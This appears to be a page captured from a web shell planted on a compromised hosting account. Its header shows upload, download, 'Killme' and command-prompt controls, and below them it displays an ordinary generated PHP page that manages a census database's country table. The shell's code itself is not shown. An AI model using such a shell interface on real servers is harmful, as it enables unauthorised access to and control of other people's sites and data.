.=< { Star Gans Tq } >=.

  • Home

  • Killme
  • Download
  • Current Path : /home/m/e/h/meharicl/home2/meharicl/www/recensement2/
    Upload File
    @Command ~ $  
    Current File : /home/m/e/h/meharicl/home2/meharicl/www/recensement2/recensement_pays.php

    <?php
    //Include Common Files @1-EC9BA800
    define("RelativePath", ".");
    define("PathToCurrentPage", "/");
    define("FileName", "recensement_pays.php");
    include_once(RelativePath . "/Common.php");
    include_once(RelativePath . "/Template.php");
    include_once(RelativePath . "/Sorter.php");
    include_once(RelativePath . "/Navigator.php");
    //End Include Common Files
    
    class clsGridrec_pays { //rec_pays class @3-948CEBEC
    
    //Variables @3-6E51DF5A
    
        // Public variables
        public $ComponentType = "Grid";
        public $ComponentName;
        public $Visible;
        public $Errors;
        public $ErrorBlock;
        public $ds;
        public $DataSource;
        public $PageSize;
        public $IsEmpty;
        public $ForceIteration = false;
        public $HasRecord = false;
        public $SorterName = "";
        public $SorterDirection = "";
        public $PageNumber;
        public $RowNumber;
        public $ControlsVisible = array();
    
        public $CCSEvents = "";
        public $CCSEventResult;
    
        public $RelativePath = "";
        public $Attributes;
    
        // Grid Controls
        public $StaticControls;
        public $RowControls;
    //End Variables
    
    //Class_Initialize Event @3-1F051A39
        function clsGridrec_pays($RelativePath, & $Parent)
        {
            global $FileName;
            global $CCSLocales;
            global $DefaultDateFormat;
            $this->ComponentName = "rec_pays";
            $this->Visible = True;
            $this->Parent = & $Parent;
            $this->RelativePath = $RelativePath;
            $this->Errors = new clsErrors();
            $this->ErrorBlock = "Grid rec_pays";
            $this->Attributes = new clsAttributes($this->ComponentName . ":");
            $this->DataSource = new clsrec_paysDataSource($this);
            $this->ds = & $this->DataSource;
            $this->PageSize = CCGetParam($this->ComponentName . "PageSize", "");
            if(!is_numeric($this->PageSize) || !strlen($this->PageSize))
                $this->PageSize = 1000;
            else
                $this->PageSize = intval($this->PageSize);
            if ($this->PageSize > 1000)
                $this->PageSize = 1000;
            if($this->PageSize == 0)
                $this->Errors->addError("<p>Form: Grid " . $this->ComponentName . "<BR>Error: (CCS06) Invalid page size.</p>");
            $this->PageNumber = intval(CCGetParam($this->ComponentName . "Page", 1));
            if ($this->PageNumber <= 0) $this->PageNumber = 1;
    
            $this->pays_id = new clsControl(ccsLink, "pays_id", "pays_id", ccsInteger, "", CCGetRequestParam("pays_id", ccsGet, NULL), $this);
            $this->pays_id->Page = "";
            $this->pays_nom = new clsControl(ccsLabel, "pays_nom", "pays_nom", ccsText, "", CCGetRequestParam("pays_nom", ccsGet, NULL), $this);
            $this->pays_court = new clsControl(ccsLabel, "pays_court", "pays_court", ccsText, "", CCGetRequestParam("pays_court", ccsGet, NULL), $this);
            $this->rec_pays_Insert = new clsControl(ccsLink, "rec_pays_Insert", "rec_pays_Insert", ccsText, "", CCGetRequestParam("rec_pays_Insert", ccsGet, NULL), $this);
            $this->rec_pays_Insert->Parameters = CCGetQueryString("QueryString", array("pays_id", "ccsForm"));
            $this->rec_pays_Insert->Page = "recensement_pays.php";
        }
    //End Class_Initialize Event
    
    //Initialize Method @3-90E704C5
        function Initialize()
        {
            if(!$this->Visible) return;
    
            $this->DataSource->PageSize = & $this->PageSize;
            $this->DataSource->AbsolutePage = & $this->PageNumber;
            $this->DataSource->SetOrder($this->SorterName, $this->SorterDirection);
        }
    //End Initialize Method
    
    //Show Method @3-8C1FF3B6
        function Show()
        {
            $Tpl = CCGetTemplate($this);
            global $CCSLocales;
            if(!$this->Visible) return;
    
            $this->RowNumber = 0;
    
    
            $this->CCSEventResult = CCGetEvent($this->CCSEvents, "BeforeSelect", $this);
    
    
            $this->DataSource->Prepare();
            $this->DataSource->Open();
            $this->HasRecord = $this->DataSource->has_next_record();
            $this->IsEmpty = ! $this->HasRecord;
            $this->Attributes->Show();
    
            $this->CCSEventResult = CCGetEvent($this->CCSEvents, "BeforeShow", $this);
            if(!$this->Visible) return;
    
            $GridBlock = "Grid " . $this->ComponentName;
            $ParentPath = $Tpl->block_path;
            $Tpl->block_path = $ParentPath . "/" . $GridBlock;
    
    
            if (!$this->IsEmpty) {
                $this->ControlsVisible["pays_id"] = $this->pays_id->Visible;
                $this->ControlsVisible["pays_nom"] = $this->pays_nom->Visible;
                $this->ControlsVisible["pays_court"] = $this->pays_court->Visible;
                while ($this->ForceIteration || (($this->RowNumber < $this->PageSize) &&  ($this->HasRecord = $this->DataSource->has_next_record()))) {
                    $this->RowNumber++;
                    if ($this->HasRecord) {
                        $this->DataSource->next_record();
                        $this->DataSource->SetValues();
                    }
                    $Tpl->block_path = $ParentPath . "/" . $GridBlock . "/Row";
                    $this->pays_id->SetValue($this->DataSource->pays_id->GetValue());
                    $this->pays_id->Parameters = CCGetQueryString("QueryString", array("ccsForm"));
                    $this->pays_id->Parameters = CCAddParam($this->pays_id->Parameters, "pays_id", $this->DataSource->f("pays_id"));
                    $this->pays_nom->SetValue($this->DataSource->pays_nom->GetValue());
                    $this->pays_court->SetValue($this->DataSource->pays_court->GetValue());
                    $this->Attributes->SetValue("rowNumber", $this->RowNumber);
                    $this->CCSEventResult = CCGetEvent($this->CCSEvents, "BeforeShowRow", $this);
                    $this->Attributes->Show();
                    $this->pays_id->Show();
                    $this->pays_nom->Show();
                    $this->pays_court->Show();
                    $Tpl->block_path = $ParentPath . "/" . $GridBlock;
                    $Tpl->parse("Row", true);
                }
            }
            else { // Show NoRecords block if no records are found
                $this->Attributes->Show();
                $Tpl->parse("NoRecords", false);
            }
    
            $errors = $this->GetErrors();
            if(strlen($errors))
            {
                $Tpl->replaceblock("", $errors);
                $Tpl->block_path = $ParentPath;
                return;
            }
            $this->rec_pays_Insert->Show();
            $Tpl->parse();
            $Tpl->block_path = $ParentPath;
            $this->DataSource->close();
        }
    //End Show Method
    
    //GetErrors Method @3-8045DAB8
        function GetErrors()
        {
            $errors = "";
            $errors = ComposeStrings($errors, $this->pays_id->Errors->ToString());
            $errors = ComposeStrings($errors, $this->pays_nom->Errors->ToString());
            $errors = ComposeStrings($errors, $this->pays_court->Errors->ToString());
            $errors = ComposeStrings($errors, $this->Errors->ToString());
            $errors = ComposeStrings($errors, $this->DataSource->Errors->ToString());
            return $errors;
        }
    //End GetErrors Method
    
    } //End rec_pays Class @3-FCB6E20C
    
    class clsrec_paysDataSource extends clsDBcnxRecensement {  //rec_paysDataSource Class @3-D950CDE1
    
    //DataSource Variables @3-010901E2
        public $Parent = "";
        public $CCSEvents = "";
        public $CCSEventResult;
        public $ErrorBlock;
        public $CmdExecution;
    
        public $CountSQL;
        public $wp;
    
    
        // Datasource fields
        public $pays_id;
        public $pays_nom;
        public $pays_court;
    //End DataSource Variables
    
    //DataSourceClass_Initialize Event @3-45BA03C6
        function clsrec_paysDataSource(& $Parent)
        {
            $this->Parent = & $Parent;
            $this->ErrorBlock = "Grid rec_pays";
            $this->Initialize();
            $this->pays_id = new clsField("pays_id", ccsInteger, "");
            
            $this->pays_nom = new clsField("pays_nom", ccsText, "");
            
            $this->pays_court = new clsField("pays_court", ccsText, "");
            
    
        }
    //End DataSourceClass_Initialize Event
    
    //SetOrder Method @3-9E1383D1
        function SetOrder($SorterName, $SorterDirection)
        {
            $this->Order = "";
            $this->Order = CCGetOrder($this->Order, $SorterName, $SorterDirection, 
                "");
        }
    //End SetOrder Method
    
    //Prepare Method @3-14D6CD9D
        function Prepare()
        {
            global $CCSLocales;
            global $DefaultDateFormat;
        }
    //End Prepare Method
    
    //Open Method @3-0BB9E764
        function Open()
        {
            $this->CCSEventResult = CCGetEvent($this->CCSEvents, "BeforeBuildSelect", $this->Parent);
            $this->CountSQL = "SELECT COUNT(*)\n\n" .
            "FROM rec_pays";
            $this->SQL = "SELECT pays_id, pays_nom, pays_court \n\n" .
            "FROM rec_pays {SQL_Where} {SQL_OrderBy}";
            $this->CCSEventResult = CCGetEvent($this->CCSEvents, "BeforeExecuteSelect", $this->Parent);
            if ($this->CountSQL) 
                $this->RecordsCount = CCGetDBValue(CCBuildSQL($this->CountSQL, $this->Where, ""), $this);
            else
                $this->RecordsCount = "CCS not counted";
            $this->query($this->OptimizeSQL(CCBuildSQL($this->SQL, $this->Where, $this->Order)));
            $this->CCSEventResult = CCGetEvent($this->CCSEvents, "AfterExecuteSelect", $this->Parent);
        }
    //End Open Method
    
    //SetValues Method @3-30371079
        function SetValues()
        {
            $this->pays_id->SetDBValue(trim($this->f("pays_id")));
            $this->pays_nom->SetDBValue($this->f("pays_nom"));
            $this->pays_court->SetDBValue($this->f("pays_court"));
        }
    //End SetValues Method
    
    } //End rec_paysDataSource Class @3-FCB6E20C
    
    class clsRecordrec_pays1 { //rec_pays1 Class @14-0850B0B8
    
    //Variables @14-9E315808
    
        // Public variables
        public $ComponentType = "Record";
        public $ComponentName;
        public $Parent;
        public $HTMLFormAction;
        public $PressedButton;
        public $Errors;
        public $ErrorBlock;
        public $FormSubmitted;
        public $FormEnctype;
        public $Visible;
        public $IsEmpty;
    
        public $CCSEvents = "";
        public $CCSEventResult;
    
        public $RelativePath = "";
    
        public $InsertAllowed = false;
        public $UpdateAllowed = false;
        public $DeleteAllowed = false;
        public $ReadAllowed   = false;
        public $EditMode      = false;
        public $ds;
        public $DataSource;
        public $ValidatingControls;
        public $Controls;
        public $Attributes;
    
        // Class variables
    //End Variables
    
    //Class_Initialize Event @14-777240B6
        function clsRecordrec_pays1($RelativePath, & $Parent)
        {
    
            global $FileName;
            global $CCSLocales;
            global $DefaultDateFormat;
            $this->Visible = true;
            $this->Parent = & $Parent;
            $this->RelativePath = $RelativePath;
            $this->Errors = new clsErrors();
            $this->ErrorBlock = "Record rec_pays1/Error";
            $this->DataSource = new clsrec_pays1DataSource($this);
            $this->ds = & $this->DataSource;
            $this->InsertAllowed = true;
            $this->UpdateAllowed = true;
            $this->DeleteAllowed = true;
            $this->ReadAllowed = true;
            if($this->Visible)
            {
                $this->ComponentName = "rec_pays1";
                $this->Attributes = new clsAttributes($this->ComponentName . ":");
                $CCSForm = explode(":", CCGetFromGet("ccsForm", ""), 2);
                if(sizeof($CCSForm) == 1)
                    $CCSForm[1] = "";
                list($FormName, $FormMethod) = $CCSForm;
                $this->EditMode = ($FormMethod == "Edit");
                $this->FormEnctype = "application/x-www-form-urlencoded";
                $this->FormSubmitted = ($FormName == $this->ComponentName);
                $Method = $this->FormSubmitted ? ccsPost : ccsGet;
                $this->Button_Insert = new clsButton("Button_Insert", $Method, $this);
                $this->Button_Update = new clsButton("Button_Update", $Method, $this);
                $this->Button_Delete = new clsButton("Button_Delete", $Method, $this);
                $this->pays_nom = new clsControl(ccsTextBox, "pays_nom", "Pays Nom", ccsText, "", CCGetRequestParam("pays_nom", $Method, NULL), $this);
                $this->pays_nom->Required = true;
                $this->pays_court = new clsControl(ccsTextBox, "pays_court", "Pays Court", ccsText, "", CCGetRequestParam("pays_court", $Method, NULL), $this);
                $this->pays_court->Required = true;
            }
        }
    //End Class_Initialize Event
    
    //Initialize Method @14-5C3D548E
        function Initialize()
        {
    
            if(!$this->Visible)
                return;
    
            $this->DataSource->Parameters["urlpays_id"] = CCGetFromGet("pays_id", NULL);
        }
    //End Initialize Method
    
    //Validate Method @14-287AAAD3
        function Validate()
        {
            global $CCSLocales;
            $Validation = true;
            $Where = "";
            $Validation = ($this->pays_nom->Validate() && $Validation);
            $Validation = ($this->pays_court->Validate() && $Validation);
            $this->CCSEventResult = CCGetEvent($this->CCSEvents, "OnValidate", $this);
            $Validation =  $Validation && ($this->pays_nom->Errors->Count() == 0);
            $Validation =  $Validation && ($this->pays_court->Errors->Count() == 0);
            return (($this->Errors->Count() == 0) && $Validation);
        }
    //End Validate Method
    
    //CheckErrors Method @14-8A53B062
        function CheckErrors()
        {
            $errors = false;
            $errors = ($errors || $this->pays_nom->Errors->Count());
            $errors = ($errors || $this->pays_court->Errors->Count());
            $errors = ($errors || $this->Errors->Count());
            $errors = ($errors || $this->DataSource->Errors->Count());
            return $errors;
        }
    //End CheckErrors Method
    
    //Operation Method @14-B908BA44
        function Operation()
        {
            if(!$this->Visible)
                return;
    
            global $Redirect;
            global $FileName;
    
            $this->DataSource->Prepare();
            if(!$this->FormSubmitted) {
                $this->EditMode = $this->DataSource->AllParametersSet;
                return;
            }
    
            if($this->FormSubmitted) {
                $this->PressedButton = $this->EditMode ? "Button_Update" : "Button_Insert";
                if($this->Button_Insert->Pressed) {
                    $this->PressedButton = "Button_Insert";
                } else if($this->Button_Update->Pressed) {
                    $this->PressedButton = "Button_Update";
                } else if($this->Button_Delete->Pressed) {
                    $this->PressedButton = "Button_Delete";
                }
            }
            $Redirect = $FileName . "?" . CCGetQueryString("QueryString", array("ccsForm"));
            if($this->PressedButton == "Button_Delete") {
                if(!CCGetEvent($this->Button_Delete->CCSEvents, "OnClick", $this->Button_Delete) || !$this->DeleteRow()) {
                    $Redirect = "";
                }
            } else if($this->Validate()) {
                if($this->PressedButton == "Button_Insert") {
                    if(!CCGetEvent($this->Button_Insert->CCSEvents, "OnClick", $this->Button_Insert) || !$this->InsertRow()) {
                        $Redirect = "";
                    }
                } else if($this->PressedButton == "Button_Update") {
                    if(!CCGetEvent($this->Button_Update->CCSEvents, "OnClick", $this->Button_Update) || !$this->UpdateRow()) {
                        $Redirect = "";
                    }
                }
            } else {
                $Redirect = "";
            }
            if ($Redirect)
                $this->DataSource->close();
        }
    //End Operation Method
    
    //InsertRow Method @14-CAC9238F
        function InsertRow()
        {
            $this->CCSEventResult = CCGetEvent($this->CCSEvents, "BeforeInsert", $this);
            if(!$this->InsertAllowed) return false;
            $this->DataSource->pays_nom->SetValue($this->pays_nom->GetValue(true));
            $this->DataSource->pays_court->SetValue($this->pays_court->GetValue(true));
            $this->DataSource->Insert();
            $this->CCSEventResult = CCGetEvent($this->CCSEvents, "AfterInsert", $this);
            return (!$this->CheckErrors());
        }
    //End InsertRow Method
    
    //UpdateRow Method @14-2281EF23
        function UpdateRow()
        {
            $this->CCSEventResult = CCGetEvent($this->CCSEvents, "BeforeUpdate", $this);
            if(!$this->UpdateAllowed) return false;
            $this->DataSource->pays_nom->SetValue($this->pays_nom->GetValue(true));
            $this->DataSource->pays_court->SetValue($this->pays_court->GetValue(true));
            $this->DataSource->Update();
            $this->CCSEventResult = CCGetEvent($this->CCSEvents, "AfterUpdate", $this);
            return (!$this->CheckErrors());
        }
    //End UpdateRow Method
    
    //DeleteRow Method @14-299D98C3
        function DeleteRow()
        {
            $this->CCSEventResult = CCGetEvent($this->CCSEvents, "BeforeDelete", $this);
            if(!$this->DeleteAllowed) return false;
            $this->DataSource->Delete();
            $this->CCSEventResult = CCGetEvent($this->CCSEvents, "AfterDelete", $this);
            return (!$this->CheckErrors());
        }
    //End DeleteRow Method
    
    //Show Method @14-4BF58FC5
        function Show()
        {
            global $CCSUseAmp;
            $Tpl = CCGetTemplate($this);
            global $FileName;
            global $CCSLocales;
            $Error = "";
    
            if(!$this->Visible)
                return;
    
            $this->CCSEventResult = CCGetEvent($this->CCSEvents, "BeforeSelect", $this);
    
    
            $RecordBlock = "Record " . $this->ComponentName;
            $ParentPath = $Tpl->block_path;
            $Tpl->block_path = $ParentPath . "/" . $RecordBlock;
            $this->EditMode = $this->EditMode && $this->ReadAllowed;
            if($this->EditMode) {
                if($this->DataSource->Errors->Count()){
                    $this->Errors->AddErrors($this->DataSource->Errors);
                    $this->DataSource->Errors->clear();
                }
                $this->DataSource->Open();
                if($this->DataSource->Errors->Count() == 0 && $this->DataSource->next_record()) {
                    $this->DataSource->SetValues();
                    if(!$this->FormSubmitted){
                        $this->pays_nom->SetValue($this->DataSource->pays_nom->GetValue());
                        $this->pays_court->SetValue($this->DataSource->pays_court->GetValue());
                    }
                } else {
                    $this->EditMode = false;
                }
            }
    
            if($this->FormSubmitted || $this->CheckErrors()) {
                $Error = "";
                $Error = ComposeStrings($Error, $this->pays_nom->Errors->ToString());
                $Error = ComposeStrings($Error, $this->pays_court->Errors->ToString());
                $Error = ComposeStrings($Error, $this->Errors->ToString());
                $Error = ComposeStrings($Error, $this->DataSource->Errors->ToString());
                $Tpl->SetVar("Error", $Error);
                $Tpl->Parse("Error", false);
            }
            $CCSForm = $this->EditMode ? $this->ComponentName . ":" . "Edit" : $this->ComponentName;
            $this->HTMLFormAction = $FileName . "?" . CCAddParam(CCGetQueryString("QueryString", ""), "ccsForm", $CCSForm);
            $Tpl->SetVar("Action", !$CCSUseAmp ? $this->HTMLFormAction : str_replace("&", "&amp;", $this->HTMLFormAction));
            $Tpl->SetVar("HTMLFormName", $this->ComponentName);
            $Tpl->SetVar("HTMLFormEnctype", $this->FormEnctype);
            $this->Button_Insert->Visible = !$this->EditMode && $this->InsertAllowed;
            $this->Button_Update->Visible = $this->EditMode && $this->UpdateAllowed;
            $this->Button_Delete->Visible = $this->EditMode && $this->DeleteAllowed;
    
            $this->CCSEventResult = CCGetEvent($this->CCSEvents, "BeforeShow", $this);
            $this->Attributes->Show();
            if(!$this->Visible) {
                $Tpl->block_path = $ParentPath;
                return;
            }
    
            $this->Button_Insert->Show();
            $this->Button_Update->Show();
            $this->Button_Delete->Show();
            $this->pays_nom->Show();
            $this->pays_court->Show();
            $Tpl->parse();
            $Tpl->block_path = $ParentPath;
            $this->DataSource->close();
        }
    //End Show Method
    
    } //End rec_pays1 Class @14-FCB6E20C
    
    class clsrec_pays1DataSource extends clsDBcnxRecensement {  //rec_pays1DataSource Class @14-1521AB2D
    
    //DataSource Variables @14-ACFB5CD8
        public $Parent = "";
        public $CCSEvents = "";
        public $CCSEventResult;
        public $ErrorBlock;
        public $CmdExecution;
    
        public $InsertParameters;
        public $UpdateParameters;
        public $DeleteParameters;
        public $wp;
        public $AllParametersSet;
    
        public $InsertFields = array();
        public $UpdateFields = array();
    
        // Datasource fields
        public $pays_nom;
        public $pays_court;
    //End DataSource Variables
    
    //DataSourceClass_Initialize Event @14-4D3E849C
        function clsrec_pays1DataSource(& $Parent)
        {
            $this->Parent = & $Parent;
            $this->ErrorBlock = "Record rec_pays1/Error";
            $this->Initialize();
            $this->pays_nom = new clsField("pays_nom", ccsText, "");
            
            $this->pays_court = new clsField("pays_court", ccsText, "");
            
    
            $this->InsertFields["pays_nom"] = array("Name" => "pays_nom", "Value" => "", "DataType" => ccsText, "OmitIfEmpty" => 1);
            $this->InsertFields["pays_court"] = array("Name" => "pays_court", "Value" => "", "DataType" => ccsText, "OmitIfEmpty" => 1);
            $this->UpdateFields["pays_nom"] = array("Name" => "pays_nom", "Value" => "", "DataType" => ccsText, "OmitIfEmpty" => 1);
            $this->UpdateFields["pays_court"] = array("Name" => "pays_court", "Value" => "", "DataType" => ccsText, "OmitIfEmpty" => 1);
        }
    //End DataSourceClass_Initialize Event
    
    //Prepare Method @14-4ED02049
        function Prepare()
        {
            global $CCSLocales;
            global $DefaultDateFormat;
            $this->wp = new clsSQLParameters($this->ErrorBlock);
            $this->wp->AddParameter("1", "urlpays_id", ccsInteger, "", "", $this->Parameters["urlpays_id"], "", false);
            $this->AllParametersSet = $this->wp->AllParamsSet();
            $this->wp->Criterion[1] = $this->wp->Operation(opEqual, "pays_id", $this->wp->GetDBValue("1"), $this->ToSQL($this->wp->GetDBValue("1"), ccsInteger),false);
            $this->Where = 
                 $this->wp->Criterion[1];
        }
    //End Prepare Method
    
    //Open Method @14-40D968F4
        function Open()
        {
            $this->CCSEventResult = CCGetEvent($this->CCSEvents, "BeforeBuildSelect", $this->Parent);
            $this->SQL = "SELECT * \n\n" .
            "FROM rec_pays {SQL_Where} {SQL_OrderBy}";
            $this->CCSEventResult = CCGetEvent($this->CCSEvents, "BeforeExecuteSelect", $this->Parent);
            $this->PageSize = 1;
            $this->query($this->OptimizeSQL(CCBuildSQL($this->SQL, $this->Where, $this->Order)));
            $this->CCSEventResult = CCGetEvent($this->CCSEvents, "AfterExecuteSelect", $this->Parent);
        }
    //End Open Method
    
    //SetValues Method @14-584F5F7E
        function SetValues()
        {
            $this->pays_nom->SetDBValue($this->f("pays_nom"));
            $this->pays_court->SetDBValue($this->f("pays_court"));
        }
    //End SetValues Method
    
    //Insert Method @14-3D276AD1
        function Insert()
        {
            global $CCSLocales;
            global $DefaultDateFormat;
            $this->CmdExecution = true;
            $this->CCSEventResult = CCGetEvent($this->CCSEvents, "BeforeBuildInsert", $this->Parent);
            $this->InsertFields["pays_nom"]["Value"] = $this->pays_nom->GetDBValue(true);
            $this->InsertFields["pays_court"]["Value"] = $this->pays_court->GetDBValue(true);
            $this->SQL = CCBuildInsert("rec_pays", $this->InsertFields, $this);
            $this->CCSEventResult = CCGetEvent($this->CCSEvents, "BeforeExecuteInsert", $this->Parent);
            if($this->Errors->Count() == 0 && $this->CmdExecution) {
                $this->query($this->SQL);
                $this->CCSEventResult = CCGetEvent($this->CCSEvents, "AfterExecuteInsert", $this->Parent);
            }
        }
    //End Insert Method
    
    //Update Method @14-6CC32CE1
        function Update()
        {
            global $CCSLocales;
            global $DefaultDateFormat;
            $this->CmdExecution = true;
            $Where = "";
            $this->CCSEventResult = CCGetEvent($this->CCSEvents, "BeforeBuildUpdate", $this->Parent);
            $this->UpdateFields["pays_nom"]["Value"] = $this->pays_nom->GetDBValue(true);
            $this->UpdateFields["pays_court"]["Value"] = $this->pays_court->GetDBValue(true);
            $this->SQL = CCBuildUpdate("rec_pays", $this->UpdateFields, $this);
            $this->SQL .= strlen($this->Where) ? " WHERE " . $this->Where : $this->Where;
            if (!strlen($this->Where) && $this->Errors->Count() == 0) 
                $this->Errors->addError($CCSLocales->GetText("CCS_CustomOperationError_MissingParameters"));
            $this->CCSEventResult = CCGetEvent($this->CCSEvents, "BeforeExecuteUpdate", $this->Parent);
            if($this->Errors->Count() == 0 && $this->CmdExecution) {
                $this->query($this->SQL);
                $this->CCSEventResult = CCGetEvent($this->CCSEvents, "AfterExecuteUpdate", $this->Parent);
            }
        }
    //End Update Method
    
    //Delete Method @14-4B951218
        function Delete()
        {
            global $CCSLocales;
            global $DefaultDateFormat;
            $this->CmdExecution = true;
            $Where = "";
            $this->CCSEventResult = CCGetEvent($this->CCSEvents, "BeforeBuildDelete", $this->Parent);
            $this->SQL = "DELETE FROM rec_pays";
            $this->SQL = CCBuildSQL($this->SQL, $this->Where, "");
            if (!strlen($this->Where) && $this->Errors->Count() == 0) 
                $this->Errors->addError($CCSLocales->GetText("CCS_CustomOperationError_MissingParameters"));
            $this->CCSEventResult = CCGetEvent($this->CCSEvents, "BeforeExecuteDelete", $this->Parent);
            if($this->Errors->Count() == 0 && $this->CmdExecution) {
                $this->query($this->SQL);
                $this->CCSEventResult = CCGetEvent($this->CCSEvents, "AfterExecuteDelete", $this->Parent);
            }
        }
    //End Delete Method
    
    } //End rec_pays1DataSource Class @14-FCB6E20C
    
    //Initialize Page @1-FB96A51A
    // Variables
    $FileName = "";
    $Redirect = "";
    $Tpl = "";
    $TemplateFileName = "";
    $BlockToParse = "";
    $ComponentName = "";
    $Attributes = "";
    
    // Events;
    $CCSEvents = "";
    $CCSEventResult = "";
    $TemplateSource = "";
    
    $FileName = FileName;
    $Redirect = "";
    $TemplateFileName = "recensement_pays.html";
    $BlockToParse = "main";
    $TemplateEncoding = "UTF-8";
    $ContentType = "text/html";
    $PathToRoot = "./";
    $PathToRootOpt = "";
    $Scripts = "|js/jquery/jquery.js|js/jquery/event-manager.js|js/jquery/selectors.js|js/jquery/ui/jquery.ui.core.js|js/jquery/ui/jquery.ui.widget.js|js/jquery/ui/jquery.ui.mouse.js|js/jquery/ui/jquery.ui.draggable.js|js/jquery/ui/jquery.ui.position.js|js/jquery/ui/jquery.ui.resizable.js|js/jquery/ui/jquery.ui.button.js|js/jquery/ui/jquery.ui.dialog.js|js/jquery/dialog/ccs-dialog.js|js/jquery/updatepanel/ccs-update-panel.js|";
    $Charset = $Charset ? $Charset : "utf-8";
    //End Initialize Page
    
    //Include events file @1-6228A886
    include_once("./recensement_pays_events.php");
    //End Include events file
    
    //BeforeInitialize Binding @1-17AC9191
    $CCSEvents["BeforeInitialize"] = "Page_BeforeInitialize";
    //End BeforeInitialize Binding
    
    //Before Initialize @1-E870CEBC
    $CCSEventResult = CCGetEvent($CCSEvents, "BeforeInitialize", $MainPage);
    //End Before Initialize
    
    //Initialize Objects @1-048967A7
    $DBcnxRecensement = new clsDBcnxRecensement();
    $MainPage->Connections["cnxRecensement"] = & $DBcnxRecensement;
    $Attributes = new clsAttributes("page:");
    $Attributes->SetValue("pathToRoot", $PathToRoot);
    $MainPage->Attributes = & $Attributes;
    
    // Controls
    $Panel1 = new clsPanel("Panel1", $MainPage);
    $Panel1->GenerateDiv = true;
    $Panel1->PanelId = "Panel1";
    $rec_pays = new clsGridrec_pays("", $MainPage);
    $Panel2 = new clsPanel("Panel2", $MainPage);
    $Panel2->GenerateDiv = true;
    $Panel2->PanelId = "Panel1Panel2";
    $rec_pays1 = new clsRecordrec_pays1("", $MainPage);
    $MainPage->Panel1 = & $Panel1;
    $MainPage->rec_pays = & $rec_pays;
    $MainPage->Panel2 = & $Panel2;
    $MainPage->rec_pays1 = & $rec_pays1;
    $Panel1->AddComponent("rec_pays", $rec_pays);
    $Panel1->AddComponent("Panel2", $Panel2);
    $Panel2->AddComponent("rec_pays1", $rec_pays1);
    $rec_pays->Initialize();
    $rec_pays1->Initialize();
    $ScriptIncludes = "";
    $SList = explode("|", $Scripts);
    foreach ($SList as $Script) {
        if ($Script != "") $ScriptIncludes = $ScriptIncludes . "<script src=\"" . $PathToRoot . $Script . "\" type=\"text/javascript\"></script>\n";
    }
    $Attributes->SetValue("scriptIncludes", $ScriptIncludes);
    
    BindEvents();
    
    $CCSEventResult = CCGetEvent($CCSEvents, "AfterInitialize", $MainPage);
    
    if ($Charset) {
        header("Content-Type: " . $ContentType . "; charset=" . $Charset);
    } else {
        header("Content-Type: " . $ContentType);
    }
    //End Initialize Objects
    
    //Initialize HTML Template @1-28F2FDD6
    $CCSEventResult = CCGetEvent($CCSEvents, "OnInitializeView", $MainPage);
    $Tpl = new clsTemplate($FileEncoding, $TemplateEncoding);
    if (strlen($TemplateSource)) {
        $Tpl->LoadTemplateFromStr($TemplateSource, $BlockToParse, "UTF-8");
    } else {
        $Tpl->LoadTemplate(PathToCurrentPage . $TemplateFileName, $BlockToParse, "UTF-8");
    }
    $Tpl->SetVar("CCS_PathToRoot", $PathToRoot);
    $Tpl->block_path = "/$BlockToParse";
    $CCSEventResult = CCGetEvent($CCSEvents, "BeforeShow", $MainPage);
    $Attributes->SetValue("pathToRoot", "");
    $Attributes->Show();
    //End Initialize HTML Template
    
    //Execute Components @1-6BE96952
    $rec_pays1->Operation();
    //End Execute Components
    
    //Go to destination page @1-107FABFD
    if($Redirect)
    {
        $CCSEventResult = CCGetEvent($CCSEvents, "BeforeUnload", $MainPage);
        $DBcnxRecensement->close();
        header("Location: " . $Redirect);
        unset($rec_pays);
        unset($rec_pays1);
        unset($Tpl);
        exit;
    }
    //End Go to destination page
    
    //Show Page @1-1DB0DD34
    $Panel1->Show();
    $Tpl->block_path = "";
    $Tpl->Parse($BlockToParse, false);
    if (!isset($main_block)) $main_block = $Tpl->GetVar($BlockToParse);
    $CCSEventResult = CCGetEvent($CCSEvents, "BeforeOutput", $MainPage);
    if ($CCSEventResult) echo $main_block;
    //End Show Page
    
    //Unload Page @1-383C472F
    $CCSEventResult = CCGetEvent($CCSEvents, "BeforeUnload", $MainPage);
    $DBcnxRecensement->close();
    unset($rec_pays);
    unset($rec_pays1);
    unset($Tpl);
    //End Unload Page
    
    
    ?>